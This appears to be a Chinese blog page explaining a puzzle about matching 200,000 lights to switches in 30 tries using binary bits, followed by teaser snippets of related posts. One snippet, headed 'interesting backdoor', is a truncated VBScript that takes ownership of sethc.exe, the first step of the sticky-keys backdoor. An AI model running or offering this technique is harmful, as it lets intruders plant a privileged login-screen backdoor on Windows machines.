做過最有意思的互動題

2021-10-09 07:47:07 字數 311 閱讀 8226

做過最有意思的互動題

一棟樓,樓外有n盞燈,樓內有n個開關,燈和開關一 一對應,但是開始並不知道哪個開關對應那盞燈。

現在你有一種操作是:開啟若干開關,然後去樓外面看看哪些燈亮了。

問如何在30次操作之內,得到所有200000盞燈和開關的對應關係。

思路:考慮按照二進位制位來開燈,第一次操作把編號二進位制第1位為1的燈開啟,第二次操作把編號二進位制第2位為1的燈開啟. 這樣記錄某盞燈分別在第幾次亮了就能得到他對應的編號了。 比如第一盞燈在第1,2,5次亮了, 那麼它對應的開關編號是10011,就是19.

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...